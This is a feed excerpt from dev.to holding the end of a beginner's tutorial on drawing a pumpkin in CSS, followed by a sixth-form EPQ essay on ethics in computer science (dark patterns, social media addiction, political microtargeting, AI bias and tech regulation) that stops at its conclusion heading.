-47px;&lt;/code&gt; Does pretty much what you expect. It moves the top edge upwards by 47 px. &lt;code&gt;z-index&lt;/code&gt; is a thing I have found recently, basically the height of the element. I want the z-index to be behind the pumpkin so I give it a &lt;code&gt;z-index : -1&lt;/code&gt; while the pumpkin has the default index of 0. This is what it looks like.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fib9pjqgp04gr5f7xytiy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fib9pjqgp04gr5f7xytiy.png" alt="Pumpkin" width="800" height="861"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Finally the Eyes, mouth and background. Let's start with the eyes,&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nc"&gt;.left_eye&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;left&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;70%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;top&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;25px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;transform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;translateX&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;-50%&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nl"&gt;position&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;absolute&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;border-style&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;solid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;border-width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;  &lt;span class="m"&gt;30px&lt;/span&gt;  &lt;span class="m"&gt;41px&lt;/span&gt;  &lt;span class="m"&gt;50px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;border-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;transparent&lt;/span&gt;  &lt;span class="nb"&gt;transparent&lt;/span&gt;  &lt;span class="m"&gt;#000000&lt;/span&gt;  &lt;span class="nb"&gt;transparent&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nc"&gt;.right_eye&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;left&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;30%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;top&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;25px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;transform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;translateX&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;-50%&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nl"&gt;position&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;absolute&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;border-style&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;solid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;border-width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;  &lt;span class="m"&gt;50px&lt;/span&gt;  &lt;span class="m"&gt;41px&lt;/span&gt;  &lt;span class="m"&gt;30px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;border-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;transparent&lt;/span&gt;  &lt;span class="nb"&gt;transparent&lt;/span&gt;  &lt;span class="m"&gt;#000000&lt;/span&gt;  &lt;span class="nb"&gt;transparent&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So this looks scarier than it is &lt;code&gt;border-width: 0 50px 41px 30px;&lt;/code&gt; So here we setting the length of each side of the square. It starts from the top and works its way around clockwise. So the top of the square has a length of 0. This is because triangles have 3 sides this trick lets us remove one of the sides making a triangle. Then the right side is 50px long, the bottom is 50px long and the left side is 30px long. For the right Eye we flip the left and right values so it points in the other direction.  &lt;code&gt;border-color: transparent  transparent  #000000  transparent;&lt;/code&gt;  So you may wonder why are there so many transparents. Well you see there is actually 3 triangles here (one of them doesn't exist because of the 0 widths)  We only want to colour the bottom triangle so we set the other 3 to transparent.  &lt;code&gt;border-style: solid;&lt;/code&gt; We want the triangle to have a solid fill so we have to set the style to Solid. We have not really filled the triangle in instead we have a really big border so it looks like we have. After all of this, we now have the eyes. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5aghn6revbqd0purwaqt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5aghn6revbqd0purwaqt.png" alt="EYES" width="800" height="760"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The last step is the smile.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nc"&gt;.smile&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;position&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;absolute&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;80px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;25px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;top&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;90px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;left&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;25%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;rgb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nl"&gt;border-top-left-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;110px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;border-top-right-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;110px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5px&lt;/span&gt;  &lt;span class="nb"&gt;solid&lt;/span&gt;  &lt;span class="nb"&gt;rgb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nl"&gt;border-bottom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;transform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;rotate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;190deg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;border-top-left-radius: 110px;&lt;/code&gt; and &lt;code&gt;border-top-right-radius: 110px;&lt;/code&gt; define how rounded the top corners will be. This is the bit that makes the semi-circle however this will also put the curve at the top. To fix this I added &lt;code&gt;transform: rotate(190deg)&lt;/code&gt; To rotate it to be a Smile and used &lt;code&gt;left: 25%;&lt;/code&gt; to make it slightly off Center.   So here is the final result.&lt;/p&gt;

&lt;p&gt;See the Pen &lt;a href="https://codepen.io/micfun123/pen/jOgZXQQ" rel="noopener noreferrer"&gt;&lt;br&gt;
  100% CSS Pumpkin&lt;/a&gt; by micfun123 (&lt;a href="https://codepen.io/micfun123" rel="noopener noreferrer"&gt;@micfun123&lt;/a&gt;)&lt;br&gt;
  on &lt;a href="https://codepen.io" rel="noopener noreferrer"&gt;CodePen&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I will admit it's not the prettiest of solutions or the most efficient, however, it was my first time trying to draw something in CSS and I'm rather happy with it. As always feel free to leave me feedback over on &lt;a href="https://discord.gg/2SZm46Jevq" rel="noopener noreferrer"&gt;Discord&lt;/a&gt; or &lt;a href="https://www.reddit.com/r/MichaelMediaGroup/" rel="noopener noreferrer"&gt;reddit&lt;/a&gt;. &lt;/p&gt;

</description>
      <category>webdev</category>
      <category>css</category>
    </item>
    <item>
      <title>Is there an ethics issue in computer science? (EPQ)</title>
      <dc:creator>Michael Parker</dc:creator>
      <pubDate>Sat, 28 Dec 2024 09:36:51 +0000</pubDate>
      <link>https://dev.to/the_tea_drinker/is-there-an-ethics-issue-in-computer-science-epq-5604</link>
      <guid>https://dev.to/the_tea_drinker/is-there-an-ethics-issue-in-computer-science-epq-5604</guid>
      <description>&lt;p&gt;This EPQ tried to explore the courses of modern-day issues as well as how they relate to computer science. I also tried to explore possible solutions to these issues. This EPQ was written in my last year of sixth-form school.&lt;/p&gt;

&lt;h1&gt;
  
  
  Abstract
&lt;/h1&gt;

&lt;p&gt;This review will be about the possible ethics issues in the Computer Science field. Due to recent events in the news of government spying on citizens, banning encryptions, accusations of rigged elections and the rise of reliance on technology it seemed important to understand why this is happening and what we doing to keep people safe not just in terms of the official legislationg but also as citizens. It became apparent that the industry treats the effects on consumers as an afterthought to profit and control. Specialists responded that in many cases the industry is not externally regulated and it is in many people's and countries' best interests to turn a blind eye to the effects of the industry. This review will include research from newspapers, blogs and interviews with teachers, students, CEOs and people who work in the industry. It will primarily be focused on the dangers and harm the industry is causing to the world as well as why very little is happening to prevent this. This report does not contain any interviews or information directly from Big Tech (Alphabet (Google), Amazon, Apple, Meta, Microsoft, Baidu, Alibaba, Tencent and  Xiaomi. These are the five largest information technology companies in America and China). This was due to not getting responses from any corporate emails and no responses from employees via Linked In.&lt;/p&gt;

&lt;h1&gt;
  
  
  Introduction
&lt;/h1&gt;

&lt;p&gt;I went into this EPQ to find out if there is an issue with ethics when teaching and making productions for an online audience. As well as this, I wanted to narrow down what these issues are. Why these issues still exist and possible solutions. My hypothesis is that there are many ethical issues, and the courses of them are money and ignorance. I want to get the perspectives from people across all parts of the industry, so I planned to speak to students, teachers and people worldwide. I wanted to speak to students and teachers as they are the people who will be shaping the industry in the future. Speaking to people who are currently working in the industry will reveal the root causes of possible issues and review why the industry is not trying to fix these issues. As well as this, I wanted to use be using online articles and online communities to expand on what people have said. The world is heavily reliant on the internet and yet many people don’t understand how it works. Not understanding how something works generally leads to people not questioning companies' actions. When a local store replaces people with self-service machines, we can see the effect of people losing their jobs but when social media changes their algorithms or modifies a single line in a 400-page terms and conditions the end users will have no idea how that affects them. The end goal of this is to have a clear understanding of Who is responsible for issues facing the industry, Why we are allowing these issues to go on and finally why world governments are not creating legislation to protect the general public online.&lt;/p&gt;

&lt;h1&gt;
  
  
  Companies bottom line
&lt;/h1&gt;

&lt;p&gt;In an interview with Claus Jensby Madsen is a Danish Trade School Computer Systems programming teacher with a master of science, bachelor’s degree and master’s degree of science specialising in coding theory and 32 years of coding experience. He describes how companies operate for profit: “Yes, I don’t think it necessarily is an issue specific to the IT industry, as I see it more as a weakness of capitalism. As well as gives an example of being environmentally friendly: “Companies are generally only environmentally friendly (or pretend to be environmentally friendly) if such an image is beneficial to the company’s goals.” Protecting people’s privacy or looking out for their mental health directly harms their bottom line.&lt;/p&gt;

&lt;p&gt;When maximising profits is the only concern for a company.” A company’s main goal is profit and keeping the board happy. Companies do this in many ways one of these methods is a dark pattern. Madsen states “A dark pattern is designed to trick the user into doing something against their own interest. Examples of this are making it hard to distinguish advertisements on search results, hiding additional fees until the end of a purchase process, making it more cumbersome to reject cookies than accept them, etc.” therefore Social media companies use dark patterns to get people to agree to hand over more data. Instagram asks users if they want a more personalised or less personalised feed. This clever wording makes it unclear that you agree to more data being collected, which leads to it being more personalised. Google “Data Sandbox” product that allows them to collect data from any site that you visit on Chrome pop-up read “Got It” and “Settings”. Got it casual wording that makes it seem like people understand the new feature but do not agree to enable it. The way to opt out is to press settings, find the feature where the names have not been said, and disable it. Signal a source messaging app, brought ad spaces from Meta that reflect the kinda of information that’s sold when you agree to dark patterns&lt;/p&gt;

&lt;p&gt;The data you agree to hand off includes political beliefs,  predicted jobs, relationship type, predicted income, sexual orientation and your address. This is information most people wouldn’t feel comfortable telling people let alone know that it's being sold.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa0wxwkka4d6mihxl8qsr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa0wxwkka4d6mihxl8qsr.png" alt="enter image description here" width="800" height="266"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This evidence shows that companies are willing to ignore ethical advertising guidelines by tricking users into providing more data that they can then sell to increase their profit.&lt;/p&gt;

&lt;p&gt;“The obsession of almost every tech company has been scaling using and deepening engagement on their platform.” -  Joe Seddon, Founder &amp;amp; CEO at Zero Gravity, Forbes 30 Under 30 and Bachelor of Arts degree from Oxford. Social media companies need engagement to make money. A social media goal is to change people to fit their needs. “Tech companies have become incredible vehicles for growing values for shareholders but have the knock-on effects of that have been negative externalities on society.”&lt;/p&gt;

&lt;p&gt;Activity and profit are directly correlated. The best way to guarantee someone keeps returning is to build an addiction. Make someone crave dopamine, then supply it with the solution. “The success of an app is often measured by the extent to which it introduces a new habit,” said app developer Peter Mezyk. Social media provides three main things: Instant gratification, destruction of reality and A Fear of missing out.&lt;/p&gt;

&lt;h1&gt;
  
  
  Train addiction
&lt;/h1&gt;

&lt;p&gt;When someone takes a photo on Instagram, the goal is to post it. Preferably, Instagram wants you to use their camera, not the app on your phone. Instagram uses filters and editing to instantly make your image look better or change it to get emotion. This releases endorphins, creating positive reinforcement.&lt;/p&gt;

&lt;p&gt;Whether it’s a long class or a bad day at work, people look for ways to distract themselves from life. This takes the form of TV, Drinking, Books, video games and now social media. The danger of social media is that it’s always on you, sending you little notifications throughout the day. These notifications get the idea in your head, becoming a distraction from work. At some point, you open the app and spend half an hour scrolling through cat videos. This provides positive reinforcement while your app is open, but people find it harder and harder to spend time without social media.&lt;/p&gt;

&lt;p&gt;Fear of missing out (FoMO) was a term invented to discuss social media’s effects in 2004. “FoMO includes two processes; firstly, perception of missing out, followed up with a compulsive behaviour to maintain these social connections.” (Gupta and Sharma, 2021) People require interaction with others, we herd animals, and part of this is fear of being forgotten, disliked and unwanted. Your brain interprets this as a threat, creating anxiety and stress. Developers know about the effects of social media but choose to modify their apps to play on this fear in people for money.&lt;/p&gt;

&lt;p&gt;While it is legal for a company to produce addictive products physical products like tobacco are strictly regulated. Social media can lead to the same effects as physical products as Senator Lindsey Graham said to Mark Zuckerberg. “You have a product that’s killing people.” A product that leads to harm with CEOS knowing it and admitting it but still selling it to teens and children may be legal but it's clearly unethical.&lt;/p&gt;

&lt;h1&gt;
  
  
  The change in politics
&lt;/h1&gt;

&lt;p&gt;“In retrospect, it was always obvious in some sense these platforms would completely disrupt the way people communicate and have a knock-on effect on the political system.” -Seddon. Targeted ads have become a massive part of politics. Cambridge Analytica is a British political consulting firm that collected the personal data of millions of people without their consent. This data was then used to publish highly targeted ads for political campaigns. The 2016 Donald Trump campaign used adverts generated to target specific people whose data was illegally harvested through sites like Facebook. Also, in 2016, the UK Independence Party used Cambridge Analytica to publish highly targeted adverts to convince voters to leave the EU It's never been easier for a government or politician to find out everything they need to convince you of something. The harder part is collecting the data legally. In 2022 only 8% of US Adults say they get no news from social media (Pew Research Center, 2022) This means 92% of adults receive news through social media. News directly affects the way we perceive politics. 16% of Americans have admitted to sharing news they found out was fake later on. (Barthel, Mitchell and Holcomb, 2016) Fake news is present online and can directly affect the way people think, believe and vote. 78% of people who relied on international news received at least one covid shot while only 57% of Americans who followed what Donald Trump said received at least one covid shot. (Jurkowitz and Mitchell, n.d.) Donald Trump spoke without being fact-checked, especially the older Americans who took what he said at face value, believing COVID was not real. 39% of Americans are confident in their ability to identify fake news. A quarter of Americans have said they have shared fake political news. Social media has become a way to get a larger amount of innocent people to believe you. Previously in time, it has taken a lot of time and money to spread propaganda now the Internet will spread it for you. Cambridge Analytical has broken the FTC Act through the deceptive conduct alleged in the complaint as well as the EU data and privacy safeguarding laws for political gain. Politics online leads to unethical,  immoral and illegal breaches of people's privacy to push microtargeted advertising.&lt;/p&gt;

&lt;h1&gt;
  
  
  Accidental Consequences
&lt;/h1&gt;

&lt;p&gt;“When you're trying to build something from scratch and you don’t have a preexisting user base, and you don’t have a proof of concept, often your concern is getting people.” “Ethics is considered when it’s too late” -Seddon Small tech startups get caught in the excitement of improving growth, then getting funding, then improving engagement, and by the time they slow down, there is a board that must be kept happy and employees to play. The ethics of what they were doing never crossed their mind once until the decisions and the business model couldn’t be changed. When a company is starting, there is a lot of talk about whether something is possible, not whether it should be done. This links into hobbyists a lot as well. “Most hobbyists do not intentionally try to overlook ethical aspects of CS They do not think their actions have any negative consequences.” -- Abdulaziz A Ahmed, A computer science teacher in the UAE. Many hobbyists do stuff because they can or to test their skills. A college kid using AI to generate fake news articles that then hit the front page of big tech blocks (MIT Technology Review, n.d.) The intentions behind this were just curiosity. A lot of the early work on deep fakes was done by hobbies and college students out of curiosity, not relining later on that their work would be used by scammers, propaganda groups and other malicious people. While the hobbyists. never had any attention and never thought about these uses, they still wrote the original program, so are they responsible for the outcomes? Ethics in the hobbyist spaces is not ignored internally nor is it ignored intentally for start-ups. When you have five users a code of conduct doesn’t seem necessary but it becomes a slippery slope as you start to grow and expand. By the time ethical guidelines are needed, it is normally too late.&lt;/p&gt;

&lt;h1&gt;
  
  
  “By far, the greatest danger of Artificial Intelligence is that people conclude too early that they understand it.” - Eliezer_Yudkowsky
&lt;/h1&gt;

&lt;p&gt;Miranda Mowbray an Honorary Lecturer at the University of Bristol and a researcher at Hewlett Packard, Dr Vahid Heydari Fami Tafeshi, who is a lecturer at Staffordshire University London have spoken about the lack of transparency expertly with AI “types of AI tools allow IT solutions to be produced easily without it being clear exactly how &amp;amp; why the solution works.” “and if a member of the public is adversely affected by one and wants an explanation of why, it may be difficult to provide an explanation.” -- Miranda Mowbray. When we use AI we have to trust the developer and the developer’s decisions. We also have to trust the data that the AI was trained with. The chartered insurance institute released a paper that the training data initially given to an AI led to gender bias. The data the Ais were trained with had men in a job related to logic, or driving reports had fewer crashes. When these same Ais were then getting used to predict insurance rates, being women signified increased the predicted values. Discriminating by gender is illegal in the UK, but because a machine that has no feelings or emotions set the rates for people, the thought of it being biased was not considered. Dr Vahid Heydari has talked about making sure we strip unneeded data before training AI models. If AI is used in medical research using data from real patients should we remove their names and addresses as that does not seem related to the goal but things like gender and family medical history are also personal and identifying data so should this be stripped before being used.&lt;/p&gt;

&lt;p&gt;“AI is obviously not transparent to non-coders and can have subtle bugs and security loopholes. I think the quality of code on the Internet is likely to go down in the short term” --Miranda Mowbray. People look at AI as a machine that is always right. AI can only use what it has been taught and there is a lot of wrong and outdated information on the Internet. When an AI is training it can't filter this so will assume that all the information is correct. AI is great at small simple tasks but when a task starts to become too large it relies on incorrect knowledge and guesses that people take as facts. An important thing when developing a website is considering security. New exploits and problems are discovered daily but an AI who stopped learning in 2019 would have no knowledge of this and a person who is not a developer will not know of this or have the skills to fix these issues. Resulting in the Internet having more security issues.&lt;/p&gt;

&lt;p&gt;“a decision based solely on automated processing’ that ‘produces legal effects . . . or similarly significantly affects him or her’, the GDPR creates rights to ‘meaningful information about the logic involved’.” (‌Andrew D Selbst, Julia Powles, Meaningful information) Apart from the EU’s GDPR proposed regulations, any use of AI or ML that directly impacts a person must be understood by a person, allowing for the “right to explanation” about how he or she will be affected and the process that came to the decision. This will force AI users to consider more closely how they use AI and the effects of the training material given to AIs.&lt;/p&gt;

&lt;p&gt;People think of AI as this solution to solve all ethical issues, after all, it’s a machine with no feeling how could it discriminate but in many cases, it’s the opposite. Giving AI training materials that fit the coder's bias and beliefs will make a system that is biased and will not act In a way that is fair while it is also nearly impossible to prove that it is biased. This is a system that hides discrimination and this is evidence that ethical consideration is overlooked with the development and implementation of AI.&lt;/p&gt;

&lt;h1&gt;
  
  
  Regulations Introduction
&lt;/h1&gt;

&lt;p&gt;Collectively, everyone agreed more regulations are needed; however, everyone recognises the challenges behind it. The Internet is a global platform and would require an international front. Companies can move headquarters to get around laws and fines. The other thing is big tech companies have teams of lawyers to find ways around punishments, or in many cases in the USA, people writing the laws also have investments. New laws only harm new players. The people who need to be controlled are those with all the influence.&lt;/p&gt;

&lt;p&gt;Using the USA as an example, regulators can be split into a few sets of people. The congressmen repeatedly show us they don’t understand how technology works this has been shown many times with the investigations of Facebook. The other group own big tech stock while in charge of regulating. The New York Times found 97 congress members with conflicts, with Ro Khanna, a Representative of California, having 147 conflicts with investments.&lt;/p&gt;

&lt;h1&gt;
  
  
  What are governments doing?
&lt;/h1&gt;

&lt;p&gt;The EU is trying to crack down on big tech with massive fines under the DMA (Digital Markets Act). Big tech treats these fines as an operation cost. Apple was fined 8 million euros for illegally collecting data in the EU that was then used for advertising ( huntonprivacyblog LLP, 2023) and (adexchanger, Schiff, 2023 ) . Apple makes 146,560,845.61 Euros a day on average. The fine for collecting data was 5.5% of their daily profit. The whole time, Big tech companies can make more profit by breaking laws and then paying the fines they will.&lt;/p&gt;

&lt;p&gt;While the EU is worrying about how data is being used, China, The UK and The USA are in an AI arms race. Through bursaries, they are trying to become the most powerful countries via military and tech.&lt;/p&gt;

&lt;p&gt;“If the democratic side is not in the lead on the technology, and authoritarians get ahead, we put the whole of democracy and human rights at risk,” said Eileen Donahoe, a former U.S. ambassador to the U.N. Human Rights Council. AI is becoming more intertwined with politics all the time. With it being used for proofchecking, writing news and creating large-scale online propaganda. As well as that AI is being integrated into traditional weapons with the first successful flight jet flight fully AI-operated (NBC News, n.d.). Or Israel's use of AI turrets ‘Smart Shooter’ to dispute Palestinian protesters while at the moment it uses rubber bullets it has already led to the loss of vision on major injuries. The company making these refer to them as a ‘One Shot—One Hit’ system and are now looking to use AI to make an automated dome system. (Kadam, 2022) These systems remove any respect for humans and empathy. Creating more hostile environments. Israel has previously set up automated tear gas guns around refugee camps that fire without warning with the office's reason being for de-escalation methods (Vigliarolo, n.d.)&lt;/p&gt;

&lt;p&gt;Governments are not doing enough to enforce the laws that they write fining a multi-trillion dollar company 5% of their daily profit while bankrupting small start-ups. This prevents fair competition leading to the bigger players getting away with more without a care for ethics because they don’t need to. Some governments are not concerned about the ethics of what they are doing, ignoring the ethics leads to them having more control over their people and more control globally.&lt;/p&gt;

&lt;h1&gt;
  
  
  International Regulation
&lt;/h1&gt;

&lt;p&gt;Everyone I have spoken to believes an International board to regulate ethics would be a good idea however, everyone believes in practice, it wouldn’t work due to it needing government cooperation. “An example of a failing board is the Entertainment Software Rating Board (ERSB)” – Madsen -- “In the mid-10s, there was a big uproar about the widespread practice of gambling-like monetisation of video games (especially those aimed at kids) and a call for warning labels on video games. Through the ESRB, the industry successfully circumvented this demand by offering a completely impotent substitution by introducing a warning label covering all in-game purchases, blurring the line between the benign and the predatory in-game purchases.” Boards are bad at enforcing regulations and guidelines. There are not many benefits to following laws other than possibly being able to put in advertising. New boards need to be managed by people in the industry; however, when its sole isn’t based on the industry, big players make rules to deliberately hard and stop startups. “Regulation creates barriers for entry and that’s bad for competition. It’s a balancing act”. --Seddon Competition is hard in the tech space. Big tech companies buy out their small competitors to keep market control In the long run, this is bad for the consumers and the industry as it does not promote innovation. When Google was looking into fitness, they brought a fit bit to remove a competitor. Microsoft buys game companies so they have fewer competitors and more market control. “One of the reasons why big companies may be calling for regulation is to pull up the draw bridge to prevent smaller disrupted competitors that could affect their business models.” Microsoft, Google and Open AI have agreed on forming a self-regulatory body to help create policies and introduce laws to keep AI safe. (Fortune, n.d.) and (Milmo and editor, 2023) This creates the danger where big tech can force through anti-competitive laws securing their place and preventing competition. These laws are unlikely to have any real effect due to big tech having legal teams to find loopholes that startups can’t afford.&lt;/p&gt;

&lt;p&gt;“The USA in particular already has a huge IT industry and is generally politically hesitant or opposed to introducing additional government regulation, so USA could easily be such a regulation safe haven.” –Madsen Companies can move headquarters to avoid fines or regulation they don’t like. Amazon auctioned their headquarters to the state, which would give them a great tax reduction. Russia has allowed bulletproof hosting (hosting services that are placed in parts of the world where most authorities cannot use take-down requests). This is how ethical grey companies stay running. Shell companies have been used for ages to avoid taxes in a country. Shell companies can also be used to make transactions and avoid sanctions a country uses for regulation.&lt;/p&gt;

&lt;p&gt;“There are plenty of organisations that do not practice what they preach.” - Evie Dineva. Apple is very vocal about its stance on privacy and safety. Apple has publicly said it would never hand personal data over to a government body when the FBI had asked for back doors. However, Apple was willing to store all data on Chinese uses in Chinese government-owned data centres. Apple is also willing to agree to data requests from the Chinese government to help with investigations. Apple does not use the same levels of encryption in China due to Chinese regulations allowing Chinese authorities to access data. (Nicas, Zhong and Wakabayashi, 2021)&lt;/p&gt;

&lt;h1&gt;
  
  
  Why don’t developers do something?
&lt;/h1&gt;

&lt;p&gt;“I don't think ethics are ignored by the developers themselves, but as a cog in the machine, their hands are tied by their manager and by extension the company goals.” –Madsen . Developers have spoken about what they made before from an ethical and mental health standpoint, but it's down to the company to decide what to do. This is one of the reasons most big tech companies have a turnover rate of two years. While there may be a shortage of developers in Big Tech, the jobs are so in demand developers can be seen as disposable (Magnet, 2019). This leads to developers not speaking out about company wrongdoings. The USA has a whistle-blower protection court and a bad reference which makes it hard to get a new programming job. This leads to developers staying quiet and not speaking out. However, there is a movement to change this in the UK. “The British Computing Society, which is a smaller professional organization for UK computer scientists, also has a code of ethical conduct &lt;a href="https://www.bcs.org/membership-and-registrations/become-a-member/bcs-code-of-conduct/" rel="noopener noreferrer"&gt;https://www.bcs.org/membership-and-registrations/become-a-member/bcs-code-of-conduct/&lt;/a&gt; and won't endorse UK computer science degrees unless they include content on legal, social and ethical issues.”- Miranda Mowbray While this cannot change how a company is running it puts ethics and legality in the minds of new developers. As new developer work and get promoted they should hopefully bring the ethic into their company.&lt;/p&gt;

&lt;p&gt;Ethics is taught across schools and universities. Developers know the effects of what they are doing but speaking about the effects of their work in many cases will stop them from getting promotions, lead to losing their jobs or struggling to get new jobs. Developers can be replaced and they are aware of this, In many cases, it makes more sense to turn a blind eye to ethics to protect yourself.&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

